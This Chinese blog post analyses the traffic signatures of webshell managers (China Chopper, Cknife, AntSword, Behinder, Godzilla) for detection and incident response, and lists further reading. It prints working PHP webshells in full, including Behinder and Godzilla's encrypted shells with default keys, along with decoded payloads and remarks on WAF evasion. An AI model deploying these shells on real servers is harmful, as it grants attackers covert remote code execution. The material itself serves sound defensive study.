本文已参与「新人创作礼」活动,一起开启掘金创作之路
本文将会从攻防的角度分析常用 webshell 管理工具的流量特点,后半部分会整理一些有关 webshell 入侵检测和应急响应的文章
Webshell 管理工具流量分析
菜刀&Cknife
先从最简单的开始吧,菜刀也算是比较早的 webshell 管理工具了,加密方式比较简单,这里分析 2016 版的菜刀
下载之后就直接被 360 查杀了,本地环境就是 PHP 直接在网站目录里放了个一句话,为了减少不必要的流量在 kali 虚拟机中进行操作
如果 kali 没有开启服务,可以使用以下命令
root@kali:~# service apache2 start
复制代码
在 /var/www/html 下放置 shell.php
<?php @eval($_REQUEST['shell']);?>
复制代码
验证成功
首先用 wireshark 开启监听,然后使用菜刀连接
图中为菜刀连接时产生的流量
首先,菜刀会伪造 X-Forwarded-For 头,且每一次利用菜刀与webshell建立连接,X-Forwarded-For 都会变化
将这段 post 请求先进行 url 解码
发现请求执行了 base64_decode 函数对 z0 进行 base64 后,经过 eval 函数执行命令,base64 解密 z0
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
复制代码
这部分就是传输的 payload,首先关闭报错和 magic_quotes,接下来去获取主机的信息
这一段 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs
将其base64解码,为@ini_set("display_errors","0");@set_time_limit(0);
流量特征明显,可以用插件做混淆处理
Cknife
c刀是由java写的客户端,所以它的适用性比较强,linux、windows平台都可以用,cknife首先会查询服务器版本信息,接下来才是查询当前目录。由于cknife是基于菜刀改的,在流量上与菜刀是十分相似的,都包含@eval,以及base64编码后的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs
蚁剑
使用蚁剑进行连接时可以选择编码器
默认编码器
看流量可以发现如果用默认的蚁剑测试,连接时会请求两次(上图为第一次http请求,右击选择追踪 http 流),其请求体只是经过 url 编码,其流量中也存在和菜刀一样的代码
@ini_set("display_errors", "0");@set_time_limit(0);
复制代码
这段代码基本是所有 WebShell 客户端链接 PHP 类 WebShell 都有的一种代码
第二次 http 请求(下图)会把目录列出来
Base64编码器
php 的编码器文件在以下目录
antSword-master\source\core\php\decoder
复制代码
/**
* php::base64编码器
* ? 利用php的base64_decode进行编码处理
*/
'use strict';
module.exports = (pwd, data, ext = null) => {
// 生成一个随机变量名
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
}
复制代码
data[pwd]
, 此函数的作用是作为参数传递的,所以这里在流量当中是明文传输
可以看到传入的变量 shell 没有被加密,软容易被 waf 探测到,其他的编码器也是类似的
RSA模块
有一个RSA模块,使用了RSA非对称加密进行传输,新建编码器 -> RSA配置 -> 点击生成公私钥
然后将生成好的 shell 放到目标机器点击连接查看流量,可以直接使用公钥进行解密,但是这种需要目标机器安装 OpenSsh 扩展库才可以
使用设置好的编码器连接,在流量中 ant 连接字符也没有加密
其他大佬说的并没有遇到
冰蝎
冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出
简单了解一下 AES 加密
高级加密标准 (AES,Advanced Encryption Standard) 为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的),对称加密算法也就是加密和解密用相同的密钥,具体的加密流程如下图
冰蝎 2.0 加密原理图如下(Shell 端为服务端):
使用
-
首先上传冰蝎专属 webshell(在冰蝎的 server 目录可以找到自带 webshell)
<?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?> 复制代码
-
攻击者使用命令启动
java -jar .\Behinder.jar # 双击不行就用命令 复制代码
连接 shell
添加之后双击即可
2.0流量
webshell分析
以 php 版本的 webshell 为例分析(就是刚刚上传的webshell),查看冰蝎的 webshell 代码,先会对 Get 传入的 pass 这个参数进行检查,如果存在的话会以时间的方式生成长度 16 的随机 key,然后存入到 session 当中,再往后判断是否开启了 openssl 这个扩展,开启的情况就会开启 AES 进行解密,得到中间结果字符串 assert|eval("phpinfo();")
此数据是由冰蝎加载器发出的,已经定义好的,服务端利用 explode 函数将拆分为一个字符串数据,然后以可变函数方式调用索引为 0 的数组元素,参数为索引为 1 的数组元素,即为 assert("eval("phpinfo;")")
,没有开启的情况,进行异或处理然后通过 base64 加密
这就是同时在早期有一定的免杀效果,但是这个函数现在已经被标注为危险函数且被加入防火墙规则
2.0 的分析文章:冰蝎,从入门到魔改
使用 Wireshark 查看连接 webshell 的流量进行分析,查看会发送俩次 Get 请求,分为俩次 Get 的握手请求,第一次请求服务端产生密钥写入session,session 和当前会话绑定。不同的客户端的密钥也是不同的,第二次请求是为了获取 key。此时的 99030fc0bb93de17
就为解密代码的 key
post 的数据可以利用上面的 Key 进行解密获得代码,可以自己写代码也可以使用在线网站进行解密,在线网站只有在这个网站解密成功
http://tools.bugscaner.com/cryptoaes/
复制代码
解密后的内容会对代码再次进行了一次base64的解码
左边是没有开启OpenSsl扩展的响应,右面是开启OpenSsl扩展的,对响应进行AES的解密 (下图2) ,base64解码后的内容:{"status":"success","msg":"1a6ed26a-009d-4127-a6fb-1fd4e90c84fa"}
3.0流量
冰蝎 3.0 PHP shell,我这里使用的冰蝎版本为 V3.0 beta 9 fixed
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
复制代码
从 shell 代码可以看出,不再使用随机生成 key,改为对密码的 md5 加密,修改了 ui 的框架,界面由 swt 改为 javafx
3.0 分析流量发现相比 2.0 少了动态密钥的获取的请求,aes 密钥变为 md5("pass")[0:16]
意思就是为连接密码 32 位 md5 的前 16 位。全程不再交互密钥生成,一共就俩次请求,第一次请求为判断是否可以建立连接,少了俩次 get 获取冰蝎动态密钥的行为,第二次发送 phpinfo 等代码执行,获取网站的信息
使用网站对第一次请求数据解密
http://tools.bugscaner.com/cryptoaes/
复制代码
密钥就是 webshell 代码中的 key,AES 解密后在进行 base64 解密
解密后的冰蝎请求中的 PHP 代码
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$content="bmZOS1NVNVEzdWE5TWp3VFZ5T.............................";$content=base64_decode($content);
main($content);
复制代码
其中 Content-Length`
将第一次响应头中的数据进行 aes -> base64 解密
base64 解密之后
{"status":"success","msg":"anozNGkxcTZ5Mmd2dFUybEMxREpwR3........."}
复制代码
message 是一段超极长的字符串,分析冰蝎请求中的 PHP 代码,发现他就是 content 经过 base64 -> aes 加密后生成的,作用和请求中的 content 一致都是绕过 $Content-Length
{"status":"success","msg":
这个返回数据特征已经在冰蝎 2.0 中已经被加入了Waf的检测规则当中,所以在冰蝎 3.0 当中用超大数据填充的方式绕过
思考一个问题,冰蝎 3.0 C/S 之间并没有传输密码,那么冰蝎是如何判断密码时候正确的?
其实这个问题,在分析流量时已经很明确了,首先冰蝎采用的是 AES 对称密钥加密,使用密钥 K 加密的数据必须使用密钥 K 解密,而冰蝎 3.0 webshell 中已经固定了这个密钥 K 即连接密码 MD5 值的前16位
以默认连接密码 rebeyond 为例,整个密码验证流程如下:
-
客户端(黑客)使用冰蝎连接输入密码 rebeyond ,冰蝎客户端对密码进行 MD5 加密,密钥为加密后值的前 16 位,连接数据使用其进行 AES 加密
-
这个密钥即 MD5 值前 16 位已经在服务端写死了并加入 session,服务端直接从 session 中去除 K 值进行 AES解密,完成整个通信流程
$key = $_SESSION['k']; echo encrypt(json_encode($result),$key); } 复制代码
功能原理分析
冰蝎 Behinder 功能原理
- 《利用动态二进制加密实现新型一句话木马之客户端篇》 xz.aliyun.com/t/2799
- 《利用动态二进制加密实现新型一句话木马之Java篇》 xz.aliyun.com/t/2744
- 《利用动态二进制加密实现新型一句话木马之.NET篇》 xz.aliyun.com/t/2758
- 《利用动态二进制加密实现新型一句话木马之PHP篇》 xz.aliyun.com/t/2774
哥斯拉
开发者 BeichenDream 是个年轻的大佬
哥斯拉内置了3种Payload以及6种加密器,6种支持脚本后缀,20个内置插件
- 哥斯拉全部类型的 shell 均过市面所有静态查杀
- 哥斯拉流量加密过市面全部流量 waf
- 哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的
使用介绍
可以使用管理 -> 生成功能生成 Shell(使用版本 v4.0.1)
Java 和 C# 的载荷原生实现 AES 加密,PHP 使用异或加密
将 webshell 上传至目标主机使用哥斯拉连接即可,注意这里的有效载荷、加密器等需要和生成时配置一致
注意这里的密码
就是POST请求中的参数名称,而密钥
用于对请求数据进行加密,实际使用密钥的 md5 值,因为哥斯拉支持代理功能这里可以设置为 burp,抓包更简单
burp 中配置 proxy options
哥斯拉同样支持请求头中的数据可以在请求配置选项中修改
也可以在配置->程序配置->全局协议头中进行修改
在哥斯拉主页右击会话点击进入就可以进入 shell 管理界面
具体使用可以看这篇文章:攻防礼盒:哥斯拉Godzilla Shell管理工具
PHP加密器分析
webshell分析
PHP Shell 有如下的加密器
eval_xor_base64 就是一个最简单的 webshell,不再分析
<?php
eval($_POST["pass"]);
复制代码
php_xor_base64
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
复制代码
首先分析一下 webshell
其中encode
函数,用于加密或解密请求数据。由于是通过按位异或实现的加密,所以encode
函数即可用于加密,同时也可用于解密
可以看到哥斯拉中同样使用了冰蝎相同的 K 即 key 的 MD5 值的前 16 位
流量分析
连接时抓包发现哥斯拉建立连接时会发起三次请求
第2个请求中已经自动带上了第1个请求中服务器响应返回的Cookie
值,并且第2个请求中只有少量的数据,需要注意的是再 哥斯拉4.0 中即使使用的是 base64 加密流量中却是乱码,再之前版本中流量为 base64 字符串
当然不同的加密器原理不尽相同,之后有时间分析其他的加密器
推荐阅读
- 主流WebShell工具流量层分析
- Webshell连接工具流量分析
- 常见webshell管理工具流量特征值分析
- 攻防礼盒:哥斯拉Godzilla Shell管理工具
- 哥斯拉Godzilla运行原理探寻
- 巧用Zeek在流量层狩猎哥斯拉Godzilla
- 哥斯拉Godzilla加密流量分析
- 哥斯拉流量加解密浅析(jsp篇)
资料整理
入侵检测
- Webshell入侵检测初探
- 企业安全建设之HIDS(一)
- 企业安全建设之HIDS(二):入侵检测&应急响应
- 带外通道技术(OOB)总结
- 左右互搏术的自我修养
- 入侵检测技术建设及其在场景下的运用
- ATT&CK矩阵Linux系统安全实践
- Linux入侵检测之文件监控
- 安全防御:Linux入侵检测之文件监控
- Linux入侵检测之syscall监控
以上这些文章建议顺序学习,由 pilgrim 发布于 Freebuf,大佬的文章很详细,无需多赘述
应急响应
-
奇安信安服团队出版的《网络安全应急响应实战指南》一书,微信读书链接
第1~3章为网络安全应急响应工程师需要掌握的基础理论、基础技能和常用工具,第4~10章为当前网络安全应急响应常见的七大处置场景,分别是勒索病毒、挖矿木马、Webshell、网页篡改、DDoS攻击、数据泄露和流量劫持网络安全应急响应
-
Bypass007团队应急响应笔记
GitHub 地址:github.com/Bypass007/E…
GitBook 地址:bypass007.github.io/Emergency-R…
包括入侵排查、日志分析、权限维持、实战部分等部分